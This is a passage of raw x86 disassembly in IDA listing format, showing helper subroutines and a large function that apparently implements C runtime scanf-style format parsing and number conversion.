add esp, 0Ch
cmp dword ptr [esi], 0FFFFFFFFh
jz short loc_40F57C
mov eax, edi
dec edi
test eax, eax
jg short loc_40F55F
loc_40F57C: ; CODE XREF: sub_40F54E+Bj
; sub_40F54E+25j
pop edi
pop esi
retn
sub_40F54E endp
; =============== S U B R O U T I N E =======================================
sub_40F57F proc near ; CODE XREF: sub_40EDD8+670p
; sub_40EDD8+6CAp ...
arg_0 = dword ptr 4
arg_4 = dword ptr 8
arg_8 = dword ptr 0Ch
arg_C = dword ptr 10h
push ebx
mov ebx, [esp+4+arg_4]
mov eax, ebx
dec ebx
push esi
push edi
test eax, eax
jle short loc_40F5B3
mov edi, [esp+0Ch+arg_C]
mov esi, [esp+0Ch+arg_0]
loc_40F595: ; CODE XREF: sub_40F57F+32j
movsx eax, byte ptr [esi]
push edi
inc esi
push [esp+10h+arg_8]
push eax
call sub_40F519
add esp, 0Ch
cmp dword ptr [edi], 0FFFFFFFFh
jz short loc_40F5B3
mov eax, ebx
dec ebx
test eax, eax
jg short loc_40F595
loc_40F5B3: ; CODE XREF: sub_40F57F+Cj
; sub_40F57F+2Bj
pop edi
pop esi
pop ebx
retn
sub_40F57F endp
; =============== S U B R O U T I N E =======================================
sub_40F5B7 proc near ; CODE XREF: sub_40EDD8+E5p
; sub_40EDD8+124p ...
arg_0 = dword ptr 4
mov eax, [esp+arg_0]
add dword ptr [eax], 4
mov eax, [eax]
mov eax, [eax-4]
retn
sub_40F5B7 endp
; =============== S U B R O U T I N E =======================================
sub_40F5C4 proc near ; CODE XREF: sub_40EDD8+4FAp
arg_0 = dword ptr 4
mov eax, [esp+arg_0]
add dword ptr [eax], 8
mov ecx, [eax]
mov eax, [ecx-8]
mov edx, [ecx-4]
retn
sub_40F5C4 endp
; =============== S U B R O U T I N E =======================================
sub_40F5D4 proc near ; CODE XREF: sub_40EDD8+2C7p
arg_0 = dword ptr 4
mov eax, [esp+arg_0]
add dword ptr [eax], 4
mov eax, [eax]
mov ax, [eax-4]
retn
sub_40F5D4 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_40F5E2 proc near ; CODE XREF: sub_40CB7D+2Ap
var_1C4 = byte ptr -1C4h
var_1C3 = byte ptr -1C3h
var_64 = byte ptr -64h
var_59 = byte ptr -59h
var_44 = dword ptr -44h
var_3E = word ptr -3Eh
var_3C = dword ptr -3Ch
var_38 = byte ptr -38h
var_37 = byte ptr -37h
var_35 = byte ptr -35h
var_34 = dword ptr -34h
var_30 = dword ptr -30h
var_2C = dword ptr -2Ch
var_28 = dword ptr -28h
var_24 = dword ptr -24h
var_20 = dword ptr -20h
var_1C = dword ptr -1Ch
var_18 = byte ptr -18h
var_17 = byte ptr -17h
var_16 = byte ptr -16h
var_15 = byte ptr -15h
var_14 = dword ptr -14h
var_F = byte ptr -0Fh
var_E = byte ptr -0Eh
var_D = byte ptr -0Dh
var_C = dword ptr -0Ch
var_5 = byte ptr -5
var_4 = dword ptr -4
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
arg_8 = dword ptr 10h
push ebp
mov ebp, esp
sub esp, 1C4h
and [ebp+var_15], 0
push ebx
push esi
mov esi, [ebp+arg_4]
xor ebx, ebx
push edi
mov al, [esi]
mov [ebp+var_4], ebx
test al, al
mov [ebp+var_34], ebx
jz loc_40FFE8
mov edi, [ebp+arg_0]
jmp short loc_40F611
; ---------------------------------------------------------------------------
loc_40F60C: ; CODE XREF: sub_40F5E2+9CEj
mov edi, [ebp+arg_0]
xor ebx, ebx
loc_40F611: ; CODE XREF: sub_40F5E2+28j
cmp dword_422004, 1
jle short loc_40F629
movzx eax, al
push 8
push eax
call sub_412B49
pop ecx
pop ecx
jmp short loc_40F638
; ---------------------------------------------------------------------------
loc_40F629: ; CODE XREF: sub_40F5E2+36j
mov ecx, off_421DF8
movzx eax, al
mov al, [ecx+eax*2]
and eax, 8
loc_40F638: ; CODE XREF: sub_40F5E2+45j
cmp eax, ebx
jz short loc_40F672
dec [ebp+var_4]
push edi
lea eax, [ebp+var_4]
push edi
push eax
call sub_41006F
pop ecx
pop ecx
push eax
call sub_410058
movzx eax, byte ptr [esi+1]
inc esi
push eax
call sub_414BCC
add esp, 0Ch
loc_40F660: ; CODE XREF: sub_40F5E2+8Ej
test eax, eax
jz short loc_40F672
movzx eax, byte ptr [esi+1]
inc esi
push eax
call sub_414BCC
pop ecx
jmp short loc_40F660
; ---------------------------------------------------------------------------
loc_40F672: ; CODE XREF: sub_40F5E2+58j
; sub_40F5E2+80j
cmp byte ptr [esi], 25h
jnz loc_40FF54
and [ebp+var_35], 0
and [ebp+var_18], 0
and [ebp+var_17], 0
and [ebp+var_E], 0
and [ebp+var_F], 0
and [ebp+var_16], 0
xor edi, edi
and [ebp+var_5], 0
mov [ebp+var_1C], ebx
mov [ebp+var_20], ebx
mov [ebp+var_C], ebx
mov [ebp+var_D], 1
mov [ebp+var_30], ebx
loc_40F6A9: ; CODE XREF: sub_40F5E2+172j
movzx ebx, byte ptr [esi+1]
inc esi
cmp dword_422004, 1
jle short loc_40F6C6
movzx eax, bl
push 4
push eax
call sub_412B49
pop ecx
pop ecx
jmp short loc_40F6D5
; ---------------------------------------------------------------------------
loc_40F6C6: ; CODE XREF: sub_40F5E2+D3j
mov ecx, off_421DF8
movzx eax, bl
mov al, [ecx+eax*2]
and eax, 4
loc_40F6D5: ; CODE XREF: sub_40F5E2+E2j
test eax, eax
jz short loc_40F6EB
mov eax, [ebp+var_C]
inc [ebp+var_20]
lea eax, [eax+eax*4]
lea eax, [ebx+eax*2-30h]
mov [ebp+var_C], eax
jmp short loc_40F750
; ---------------------------------------------------------------------------
loc_40F6EB: ; CODE XREF: sub_40F5E2+F5j
cmp ebx, 4Eh
jg short loc_40F72E
jz short loc_40F750
cmp ebx, 2Ah
jz short loc_40F729
cmp ebx, 46h
jz short loc_40F750
cmp ebx, 49h
jz short loc_40F70B
cmp ebx, 4Ch
jnz short loc_40F73D
inc [ebp+var_D]
jmp short loc_40F750
; ---------------------------------------------------------------------------
loc_40F70B: ; CODE XREF: sub_40F5E2+11Dj
cmp byte ptr [esi+1], 36h
jnz short loc_40F73D
cmp byte ptr [esi+2], 34h
lea eax, [esi+2]
jnz short loc_40F73D
inc [ebp+var_30]
and [ebp+var_28], 0
and [ebp+var_24], 0
mov esi, eax
jmp short loc_40F750
; ---------------------------------------------------------------------------
loc_40F729: ; CODE XREF: sub_40F5E2+113j
inc [ebp+var_E]
jmp short loc_40F750
; ---------------------------------------------------------------------------
loc_40F72E: ; CODE XREF: sub_40F5E2+10Cj
cmp ebx, 68h
jz short loc_40F74A
cmp ebx, 6Ch
jz short loc_40F742
cmp ebx, 77h
jz short loc_40F745
loc_40F73D: ; CODE XREF: sub_40F5E2+122j
; sub_40F5E2+12Dj ...
inc [ebp+var_F]
jmp short loc_40F750
; ---------------------------------------------------------------------------
loc_40F742: ; CODE XREF: sub_40F5E2+154j
inc [ebp+var_D]
loc_40F745: ; CODE XREF: sub_40F5E2+159j
inc [ebp+var_5]
jmp short loc_40F750
; ---------------------------------------------------------------------------
loc_40F74A: ; CODE XREF: sub_40F5E2+14Fj
dec [ebp+var_D]
dec [ebp+var_5]
loc_40F750: ; CODE XREF: sub_40F5E2+107j
; sub_40F5E2+10Ej ...
cmp [ebp+var_F], 0
jz loc_40F6A9
cmp [ebp+var_E], 0
mov [ebp+arg_4], esi
jnz short loc_40F775
mov eax, [ebp+arg_8]
mov [ebp+var_44], eax
add eax, 4
mov [ebp+arg_8], eax
mov eax, [eax-4]
mov [ebp+var_2C], eax
loc_40F775: ; CODE XREF: sub_40F5E2+17Fj
and [ebp+var_F], 0
cmp [ebp+var_5], 0
jnz short loc_40F793
mov al, [esi]
cmp al, 53h
jz short loc_40F78F
cmp al, 43h
jz short loc_40F78F
or [ebp+var_5], 0FFh
jmp short loc_40F793
; ---------------------------------------------------------------------------
loc_40F78F: ; CODE XREF: sub_40F5E2+1A1j
; sub_40F5E2+1A5j
mov [ebp+var_5], 1
loc_40F793: ; CODE XREF: sub_40F5E2+19Bj
; sub_40F5E2+1ABj
mov ebx, [ebp+arg_4]
movzx esi, byte ptr [ebx]
or esi, 20h
cmp esi, 6Eh
mov [ebp+var_3C], esi
jz short loc_40F7CC
cmp esi, 63h
jz short loc_40F7BD
cmp esi, 7Bh
jz short loc_40F7BD
push [ebp+arg_0]
lea eax, [ebp+var_4]
push eax
call sub_41006F
pop ecx
jmp short loc_40F7C8
; ---------------------------------------------------------------------------
loc_40F7BD: ; CODE XREF: sub_40F5E2+1C5j
; sub_40F5E2+1CAj
push [ebp+arg_0]
inc [ebp+var_4]
call sub_41003E
loc_40F7C8: ; CODE XREF: sub_40F5E2+1D9j
pop ecx
mov [ebp+var_14], eax
loc_40F7CC: ; CODE XREF: sub_40F5E2+1C0j
xor eax, eax
cmp [ebp+var_20], eax
jz short loc_40F7DC
cmp [ebp+var_C], eax
jz loc_40FFB8
loc_40F7DC: ; CODE XREF: sub_40F5E2+1EFj
cmp esi, 6Fh
jg loc_40FA43
jz loc_40FCF5
cmp esi, 63h
jz loc_40FA20
cmp esi, 64h
jz loc_40FCF5
jle loc_40FA6D
cmp esi, 67h
jle short loc_40F840
cmp esi, 69h
jz short loc_40F828
cmp esi, 6Eh
jnz loc_40FA6D
cmp [ebp+var_E], 0
mov edi, [ebp+var_4]
jz loc_40FF23
jmp loc_40FF49
; ---------------------------------------------------------------------------
loc_40F828: ; CODE XREF: sub_40F5E2+229j
push 64h
pop esi
loc_40F82B: ; CODE XREF: sub_40F5E2+480j
mov ebx, [ebp+var_14]
cmp ebx, 2Dh
jnz loc_40FAB5
mov [ebp+var_17], 1
jmp loc_40FABA
; ---------------------------------------------------------------------------
loc_40F840: ; CODE XREF: sub_40F5E2+224j
mov ebx, [ebp+var_14]
lea esi, [ebp+var_1C4]
cmp ebx, 2Dh
jnz short loc_40F85C
mov [ebp+var_1C4], bl
lea esi, [ebp+var_1C3]
jmp short loc_40F861
; ---------------------------------------------------------------------------
loc_40F85C: ; CODE XREF: sub_40F5E2+26Aj
cmp ebx, 2Bh
jnz short loc_40F878
loc_40F861: ; CODE XREF: sub_40F5E2+278j
mov edi, [ebp+arg_0]
dec [ebp+var_C]
inc [ebp+var_4]
push edi
call sub_41003E
mov ebx, eax
pop ecx
mov [ebp+var_14], ebx
jmp short loc_40F87B
; ---------------------------------------------------------------------------
loc_40F878: ; CODE XREF: sub_40F5E2+27Dj
mov edi, [ebp+arg_0]
loc_40F87B: ; CODE XREF: sub_40F5E2+294j
cmp [ebp+var_20], 0
jz short loc_40F88A
cmp [ebp+var_C], 15Dh
jle short loc_40F891
loc_40F88A: ; CODE XREF: sub_40F5E2+29Dj
mov [ebp+var_C], 15Dh
loc_40F891: ; CODE XREF: sub_40F5E2+2A6j
; sub_40F5E2+2F2j
cmp dword_422004, 1
jle short loc_40F8A6
push 4
push ebx
call sub_412B49
pop ecx
pop ecx
jmp short loc_40F8B1
; ---------------------------------------------------------------------------
loc_40F8A6: ; CODE XREF: sub_40F5E2+2B6j
mov eax, off_421DF8
mov al, [eax+ebx*2]
and eax, 4
loc_40F8B1: ; CODE XREF: sub_40F5E2+2C2j
test eax, eax
jz short loc_40F8D6
mov eax, [ebp+var_C]
dec [ebp+var_C]
test eax, eax
jz short loc_40F8D6
inc [ebp+var_1C]
mov [esi], bl
inc esi
inc [ebp+var_4]
push edi
call sub_41003E
mov ebx, eax
pop ecx
mov [ebp+var_14], ebx
jmp short loc_40F891
; ---------------------------------------------------------------------------
loc_40F8D6: ; CODE XREF: sub_40F5E2+2D1j
; sub_40F5E2+2DBj
cmp byte_422008, bl
jnz short loc_40F944
mov eax, [ebp+var_C]
dec [ebp+var_C]
test eax, eax
jz short loc_40F944
inc [ebp+var_4]
push edi
call sub_41003E
mov ebx, eax
mov al, byte_422008
mov [esi], al
pop ecx
mov [ebp+var_14], ebx
inc esi
loc_40F8FF: ; CODE XREF: sub_40F5E2+360j
cmp dword_422004, 1
jle short loc_40F914
push 4
push ebx
call sub_412B49
pop ecx
pop ecx
jmp short loc_40F91F
; ---------------------------------------------------------------------------
loc_40F914: ; CODE XREF: sub_40F5E2+324j
mov eax, off_421DF8
mov al, [eax+ebx*2]
and eax, 4
loc_40F91F: ; CODE XREF: sub_40F5E2+330j
test eax, eax
jz short loc_40F944
mov eax, [ebp+var_C]
dec [ebp+var_C]
test eax, eax
jz short loc_40F944
inc [ebp+var_1C]
mov [esi], bl
inc esi
inc [ebp+var_4]
push edi
call sub_41003E
mov ebx, eax
pop ecx
mov [ebp+var_14], ebx
jmp short loc_40F8FF
; ---------------------------------------------------------------------------
loc_40F944: ; CODE XREF: sub_40F5E2+2FAj
; sub_40F5E2+304j ...
cmp [ebp+var_1C], 0
jz loc_40F9DC
cmp ebx, 65h
jz short loc_40F95C
cmp ebx, 45h
jnz loc_40F9DC
loc_40F95C: ; CODE XREF: sub_40F5E2+36Fj
mov eax, [ebp+var_C]
dec [ebp+var_C]
test eax, eax
jz short loc_40F9DC
mov byte ptr [esi], 65h
inc esi
inc [ebp+var_4]
push edi
call sub_41003E
mov ebx, eax
pop ecx
cmp ebx, 2Dh
mov [ebp+var_14], ebx
jnz short loc_40F983
mov [esi], al
inc esi
jmp short loc_40F988
; ---------------------------------------------------------------------------
loc_40F983: ; CODE XREF: sub_40F5E2+39Aj
cmp ebx, 2Bh
jnz short loc_40F9A6
loc_40F988: ; CODE XREF: sub_40F5E2+39Fj
mov eax, [ebp+var_C]
dec [ebp+var_C]
test eax, eax
jnz short loc_40F997
and [ebp+var_C], eax
jmp short loc_40F9A6
; ---------------------------------------------------------------------------
loc_40F997: ; CODE XREF: sub_40F5E2+3AEj
; sub_40F5E2+3F8j
inc [ebp+var_4]
push edi
call sub_41003E
mov ebx, eax
pop ecx
mov [ebp+var_14], ebx
loc_40F9A6: ; CODE XREF: sub_40F5E2+3A4j
; sub_40F5E2+3B3j
cmp dword_422004, 1
jle short loc_40F9BB
push 4
push ebx
call sub_412B49
pop ecx
pop ecx
jmp short loc_40F9C6
; ---------------------------------------------------------------------------
loc_40F9BB: ; CODE XREF: sub_40F5E2+3CBj
mov eax, off_421DF8
mov al, [eax+ebx*2]
and eax, 4
loc_40F9C6: ; CODE XREF: sub_40F5E2+3D7j
test eax, eax
jz short loc_40F9DC
mov eax, [ebp+var_C]
dec [ebp+var_C]
test eax, eax
jz short loc_40F9DC
inc [ebp+var_1C]
mov [esi], bl
inc esi
jmp short loc_40F997
; ---------------------------------------------------------------------------
loc_40F9DC: ; CODE XREF: sub_40F5E2+366j
; sub_40F5E2+374j ...
dec [ebp+var_4]
push edi
push ebx
call sub_410058
cmp [ebp+var_1C], 0
pop ecx
pop ecx
jz loc_40FFE8
cmp [ebp+var_E], 0
jnz loc_40FF49
inc [ebp+var_34]
and byte ptr [esi], 0
lea eax, [ebp+var_1C4]
push eax
movsx eax, [ebp+var_D]
push [ebp+var_2C]
dec eax
push eax
call off_421DD8
add esp, 0Ch
jmp loc_40FF49
; ---------------------------------------------------------------------------
loc_40FA20: ; CODE XREF: sub_40F5E2+20Cj
cmp [ebp+var_20], eax
jnz short loc_40FA2F
inc [ebp+var_C]
mov [ebp+var_20], 1
loc_40FA2F: ; CODE XREF: sub_40F5E2+441j
cmp [ebp+var_5], 0
jle short loc_40FA39
mov [ebp+var_16], 1
loc_40FA39: ; CODE XREF: sub_40F5E2+451j
mov edi, offset dword_41FC88
jmp loc_40FB4E
; ---------------------------------------------------------------------------
loc_40FA43: ; CODE XREF: sub_40F5E2+1FDj
mov eax, esi
sub eax, 70h
jz loc_40FCF1
sub eax, 3
jz loc_40FB3F
dec eax
dec eax
jz loc_40FCF5
sub eax, 3
jz loc_40F82B
sub eax, 3
jz short loc_40FA91
loc_40FA6D: ; CODE XREF: sub_40F5E2+21Bj
; sub_40F5E2+22Ej
movzx eax, byte ptr [ebx]
cmp eax, [ebp+var_14]
jnz loc_40FFB8
dec [ebp+var_15]
cmp [ebp+var_E], 0
jnz loc_40FF49
mov eax, [ebp+var_44]
mov [ebp+arg_8], eax
jmp loc_40FF49
; ---------------------------------------------------------------------------
loc_40FA91: ; CODE XREF: sub_40F5E2+489j
cmp [ebp+var_5], 0
jle short loc_40FA9B
mov [ebp+var_16], 1
loc_40FA9B: ; CODE XREF: sub_40F5E2+4B3j
mov edi, [ebp+arg_4]
inc edi
mov [ebp+arg_4], edi
cmp byte ptr [edi], 5Eh
jnz loc_40FB52
mov eax, edi
lea edi, [eax+1]
jmp loc_40FB4E
; ---------------------------------------------------------------------------
loc_40FAB5: ; CODE XREF: sub_40F5E2+24Fj
cmp ebx, 2Bh
jnz short loc_40FADC
loc_40FABA: ; CODE XREF: sub_40F5E2+259j
dec [ebp+var_C]
jnz short loc_40FACB
cmp [ebp+var_20], 0
jz short loc_40FACB
mov [ebp+var_F], 1
jmp short loc_40FADC
; ---------------------------------------------------------------------------
loc_40FACB: ; CODE XREF: sub_40F5E2+4DBj
; sub_40F5E2+4E1j
push [ebp+arg_0]
inc [ebp+var_4]
call sub_41003E
mov ebx, eax
pop ecx
mov [ebp+var_14], ebx
loc_40FADC: ; CODE XREF: sub_40F5E2+4D6j
; sub_40F5E2+4E7j
cmp ebx, 30h
jnz loc_40FD2A
push [ebp+arg_0]
inc [ebp+var_4]
call sub_41003E
mov ebx, eax
pop ecx
cmp bl, 78h
mov [ebp+var_14], ebx
jz short loc_40FB2A
cmp bl, 58h
jz short loc_40FB2A
cmp esi, 78h
mov [ebp+var_1C], 1
jz short loc_40FB14
push 6Fh
loc_40FB0E: ; CODE XREF: sub_40F5E2+55Bj
pop esi
jmp loc_40FD2A
; ---------------------------------------------------------------------------
loc_40FB14: ; CODE XREF: sub_40F5E2+528j
push [ebp+arg_0]
dec [ebp+var_4]
push ebx
call sub_410058
pop ecx
pop ecx
push 30h
pop ebx
jmp loc_40FD27
; ---------------------------------------------------------------------------
loc_40FB2A: ; CODE XREF: sub_40F5E2+517j
; sub_40F5E2+51Cj
push [ebp+arg_0]
inc [ebp+var_4]
call sub_41003E
pop ecx
mov ebx, eax
mov [ebp+var_14], ebx
push 78h
jmp short loc_40FB0E
; ---------------------------------------------------------------------------
loc_40FB3F: ; CODE XREF: sub_40F5E2+46Fj
cmp [ebp+var_5], 0
jle short loc_40FB49
mov [ebp+var_16], 1
loc_40FB49: ; CODE XREF: sub_40F5E2+561j
mov edi, offset dword_41FC80
loc_40FB4E: ; CODE XREF: sub_40F5E2+45Cj
; sub_40F5E2+4CEj
or [ebp+var_18], 0FFh
loc_40FB52: ; CODE XREF: sub_40F5E2+4C3j
push 20h
lea eax, [ebp+var_64]
push 0
push eax
call sub_40CC40
add esp, 0Ch
cmp [ebp+var_3C], 7Bh
jnz short loc_40FB76
cmp byte ptr [edi], 5Dh
jnz short loc_40FB76
mov dl, 5Dh
inc edi
mov [ebp+var_59], 20h
jmp short loc_40FB79
; ---------------------------------------------------------------------------
loc_40FB76: ; CODE XREF: sub_40F5E2+584j
; sub_40F5E2+589j
mov dl, [ebp+var_35]
loc_40FB79: ; CODE XREF: sub_40F5E2+592j
; sub_40F5E2+5E1j ...
mov al, [edi]
cmp al, 5Dh
jz short loc_40FBDE
inc edi
cmp al, 2Dh
jnz short loc_40FBC5
test dl, dl
jz short loc_40FBC5
mov cl, [edi]
cmp cl, 5Dh
jz short loc_40FBC5
inc edi
cmp dl, cl
jnb short loc_40FB98
mov al, cl
jmp short loc_40FB9C
; ---------------------------------------------------------------------------
loc_40FB98: ; CODE XREF: sub_40F5E2+5B0j
mov al, dl
mov dl, cl
loc_40FB9C: ; CODE XREF: sub_40F5E2+5B4j
cmp dl, al
ja short loc_40FBC1
movzx edx, dl
movzx esi, al
sub esi, edx
inc esi
loc_40FBA9: ; CODE XREF: sub_40F5E2+5DDj
mov ecx, edx
mov eax, edx
and ecx, 7
mov bl, 1
shr eax, 3
shl bl, cl
lea eax, [ebp+eax+var_64]
or [eax], bl
inc edx
dec esi
jnz short loc_40FBA9
loc_40FBC1: ; CODE XREF: sub_40F5E2+5BCj
xor dl, dl
jmp short loc_40FB79
; ---------------------------------------------------------------------------
loc_40FBC5: ; CODE XREF: sub_40F5E2+5A0j
; sub_40F5E2+5A4j ...
movzx ecx, al
mov dl, al
mov eax, ecx
and ecx, 7
mov bl, 1
shr eax, 3
shl bl, cl
lea eax, [ebp+eax+var_64]
or [eax], bl
jmp short loc_40FB79
; ---------------------------------------------------------------------------
loc_40FBDE: ; CODE XREF: sub_40F5E2+59Bj
cmp byte ptr [edi], 0
jz loc_40FFE8
cmp [ebp+var_3C], 7Bh
jnz short loc_40FBF0
mov [ebp+arg_4], edi
loc_40FBF0: ; CODE XREF: sub_40F5E2+609j
mov edi, [ebp+arg_0]
mov esi, [ebp+var_2C]
dec [ebp+var_4]
push edi
push [ebp+var_14]
mov [ebp+var_30], esi
call sub_410058
pop ecx
pop ecx
loc_40FC07: ; CODE XREF: sub_40F5E2+6BCj
; sub_40F5E2+6C4j
cmp [ebp+var_20], 0
jz short loc_40FC1B
mov eax, [ebp+var_C]
dec [ebp+var_C]
test eax, eax
jz loc_40FCB7
loc_40FC1B: ; CODE XREF: sub_40F5E2+629j
inc [ebp+var_4]
push edi
call sub_41003E
cmp eax, 0FFFFFFFFh
pop ecx
mov [ebp+var_14], eax
jz short loc_40FCAB
mov ecx, eax
push 1
and ecx, 7
pop edx
movsx ebx, [ebp+var_18]
shl edx, cl
mov ecx, eax
sar ecx, 3
movsx ecx, [ebp+ecx+var_64]
xor ecx, ebx
test edx, ecx
jz short loc_40FCAB
cmp [ebp+var_E], 0
jnz short loc_40FCA3
cmp [ebp+var_16], 0
jz short loc_40FC98
mov ecx, off_421DF8
mov [ebp+var_38], al
movzx eax, al
test byte ptr [ecx+eax*2+1], 80h
jz short loc_40FC77
inc [ebp+var_4]
push edi
call sub_41003E
pop ecx
mov [ebp+var_37], al
loc_40FC77: ; CODE XREF: sub_40F5E2+686j
push dword_422004
lea eax, [ebp+var_38]
push eax
lea eax, [ebp+var_3E]
push eax
call sub_414B04
mov ax, [ebp+var_3E]
add esp, 0Ch
mov [esi], ax
inc esi
inc esi
jmp short loc_40FC9B
; ---------------------------------------------------------------------------
loc_40FC98: ; CODE XREF: sub_40F5E2+673j
mov [esi], al
inc esi
loc_40FC9B: ; CODE XREF: sub_40F5E2+6B4j
mov [ebp+var_2C], esi
jmp loc_40FC07
; ---------------------------------------------------------------------------
loc_40FCA3: ; CODE XREF: sub_40F5E2+66Dj
inc [ebp+var_30]
jmp loc_40FC07
; ---------------------------------------------------------------------------
loc_40FCAB: ; CODE XREF: sub_40F5E2+649j
; sub_40F5E2+667j
dec [ebp+var_4]
push edi
push eax
call sub_410058
pop ecx
pop ecx
loc_40FCB7: ; CODE XREF: sub_40F5E2+633j
cmp [ebp+var_30], esi
jz loc_40FFE8
cmp [ebp+var_E], 0
jnz loc_40FF49
inc [ebp+var_34]
cmp [ebp+var_3C], 63h
jz loc_40FF49
cmp [ebp+var_16], 0
mov eax, [ebp+var_2C]
jz short loc_40FCE9
and word ptr [eax], 0
jmp loc_40FF49
; ---------------------------------------------------------------------------
loc_40FCE9: ; CODE XREF: sub_40F5E2+6FCj
and byte ptr [eax], 0
jmp loc_40FF49
; ---------------------------------------------------------------------------
loc_40FCF1: ; CODE XREF: sub_40F5E2+466j
mov [ebp+var_D], 1
loc_40FCF5: ; CODE XREF: sub_40F5E2+203j
; sub_40F5E2+215j ...
mov ebx, [ebp+var_14]
cmp ebx, 2Dh
jnz short loc_40FD03
mov [ebp+var_17], 1
jmp short loc_40FD08
; ---------------------------------------------------------------------------
loc_40FD03: ; CODE XREF: sub_40F5E2+719j
cmp ebx, 2Bh
jnz short loc_40FD2A
loc_40FD08: ; CODE XREF: sub_40F5E2+71Fj
dec [ebp+var_C]
jnz short loc_40FD19
cmp [ebp+var_20], 0
jz short loc_40FD19
mov [ebp+var_F], 1
jmp short loc_40FD2A
; ---------------------------------------------------------------------------
loc_40FD19: ; CODE XREF: sub_40F5E2+729j
; sub_40F5E2+72Fj
push [ebp+arg_0]
inc [ebp+var_4]
call sub_41003E
pop ecx
mov ebx, eax
loc_40FD27: ; CODE XREF: sub_40F5E2+543j
mov [ebp+var_14], ebx
loc_40FD2A: ; CODE XREF: sub_40F5E2+4FDj
; sub_40F5E2+52Dj ...
cmp [ebp+var_30], 0
jz loc_40FE43
cmp [ebp+var_F], 0
jnz loc_40FE21
loc_40FD3E: ; CODE XREF: sub_40F5E2+82Cj
cmp esi, 78h
jnz short loc_40FD92
cmp dword_422004, 1
jle short loc_40FD5B
push 80h
push ebx
call sub_412B49
pop ecx
pop ecx
jmp short loc_40FD68
; ---------------------------------------------------------------------------
loc_40FD5B: ; CODE XREF: sub_40F5E2+768j
mov eax, off_421DF8
mov al, [eax+ebx*2]
and eax, 80h
loc_40FD68: ; CODE XREF: sub_40F5E2+777j
test eax, eax
jz loc_40FE13
mov eax, [ebp+var_28]
mov edx, [ebp+var_24]
push 4
pop ecx
call sub_414C00
push ebx
mov [ebp+var_28], eax
mov [ebp+var_24], edx
call sub_410007
mov ebx, eax
pop ecx
mov [ebp+var_14], ebx
jmp short loc_40FDE5
; ---------------------------------------------------------------------------
loc_40FD92: ; CODE XREF: sub_40F5E2+75Fj
cmp dword_422004, 1
jle short loc_40FDA7
push 4
push ebx
call sub_412B49
pop ecx
pop ecx
jmp short loc_40FDB2
; ---------------------------------------------------------------------------
loc_40FDA7: ; CODE XREF: sub_40F5E2+7B7j
mov eax, off_421DF8
mov al, [eax+ebx*2]
and eax, 4
loc_40FDB2: ; CODE XREF: sub_40F5E2+7C3j
test eax, eax
jz short loc_40FE13
cmp esi, 6Fh
jnz short loc_40FDD0
cmp ebx, 38h
jge short loc_40FE13
mov eax, [ebp+var_28]
mov edx, [ebp+var_24]
push 3
pop ecx
call sub_414C00
jmp short loc_40FDDF
; ---------------------------------------------------------------------------
loc_40FDD0: ; CODE XREF: sub_40F5E2+7D7j
push 0
push 0Ah
push [ebp+var_24]
push [ebp+var_28]
call sub_40DDE0
loc_40FDDF: ; CODE XREF: sub_40F5E2+7ECj
mov [ebp+var_28], eax
mov [ebp+var_24], edx
loc_40FDE5: ; CODE XREF: sub_40F5E2+7AEj
inc [ebp+var_1C]
lea eax, [ebx-30h]
cdq
add [ebp+var_28], eax
adc [ebp+var_24], edx
cmp [ebp+var_20], 0
jz short loc_40FDFD
dec [ebp+var_C]
jz short loc_40FE21
loc_40FDFD: ; CODE XREF: sub_40F5E2+814j
push [ebp+arg_0]
inc [ebp+var_4]
call sub_41003E
mov ebx, eax
pop ecx
mov [ebp+var_14], ebx
jmp loc_40FD3E
; ---------------------------------------------------------------------------
loc_40FE13: ; CODE XREF: sub_40F5E2+788j
; sub_40F5E2+7D2j ...
push [ebp+arg_0]
dec [ebp+var_4]
push ebx
call sub_410058
pop ecx
pop ecx
loc_40FE21: ; CODE XREF: sub_40F5E2+756j
; sub_40F5E2+819j
cmp [ebp+var_17], 0
jz loc_40FF07
mov eax, [ebp+var_28]
mov ecx, [ebp+var_24]
neg eax
adc ecx, 0
mov [ebp+var_28], eax
neg ecx
mov [ebp+var_24], ecx
jmp loc_40FF07
; ---------------------------------------------------------------------------
loc_40FE43: ; CODE XREF: sub_40F5E2+74Cj
cmp [ebp+var_F], 0
jnz loc_40FEFF
loc_40FE4D: ; CODE XREF: sub_40F5E2+90Aj
cmp esi, 78h
jz short loc_40FE91
cmp esi, 70h
jz short loc_40FE91
cmp dword_422004, 1
jle short loc_40FE6C
push 4
push ebx
call sub_412B49
pop ecx
pop ecx
jmp short loc_40FE77
; ---------------------------------------------------------------------------
loc_40FE6C: ; CODE XREF: sub_40F5E2+87Cj
mov eax, off_421DF8
mov al, [eax+ebx*2]
and eax, 4
loc_40FE77: ; CODE XREF: sub_40F5E2+888j
test eax, eax
jz short loc_40FEF1
cmp esi, 6Fh
jnz short loc_40FE8A
cmp ebx, 38h
jge short loc_40FEF1
shl edi, 3
jmp short loc_40FEC9
; ---------------------------------------------------------------------------
loc_40FE8A: ; CODE XREF: sub_40F5E2+89Cj
lea edi, [edi+edi*4]
shl edi, 1
jmp short loc_40FEC9
; ---------------------------------------------------------------------------
loc_40FE91: ; CODE XREF: sub_40F5E2+86Ej
; sub_40F5E2+873j
cmp dword_422004, 1
jle short loc_40FEA9
push 80h
push ebx
call sub_412B49
pop ecx
pop ecx
jmp short loc_40FEB6
; ---------------------------------------------------------------------------
loc_40FEA9: ; CODE XREF: sub_40F5E2+8B6j
mov eax, off_421DF8
mov al, [eax+ebx*2]
and eax, 80h
loc_40FEB6: ; CODE XREF: sub_40F5E2+8C5j
test eax, eax
jz short loc_40FEF1
push ebx
shl edi, 4
call sub_410007
mov ebx, eax
pop ecx
mov [ebp+var_14], ebx
loc_40FEC9: ; CODE XREF: sub_40F5E2+8A6j
; sub_40F5E2+8ADj
inc [ebp+var_1C]
cmp [ebp+var_20], 0
lea edi, [edi+ebx-30h]
jz short loc_40FEDB
dec [ebp+var_C]
jz short loc_40FEFF
loc_40FEDB: ; CODE XREF: sub_40F5E2+8F2j
push [ebp+arg_0]
inc [ebp+var_4]
call sub_41003E
mov ebx, eax
pop ecx
mov [ebp+var_14], ebx
jmp loc_40FE4D
; ---------------------------------------------------------------------------
loc_40FEF1: ; CODE XREF: sub_40F5E2+897j
; sub_40F5E2+8A1j ...
push [ebp+arg_0]
dec [ebp+var_4]
push ebx
call sub_410058
pop ecx
pop ecx
loc_40FEFF: ; CODE XREF: sub_40F5E2+865j
; sub_40F5E2+8F7j
cmp [ebp+var_17], 0
jz short loc_40FF07
neg edi
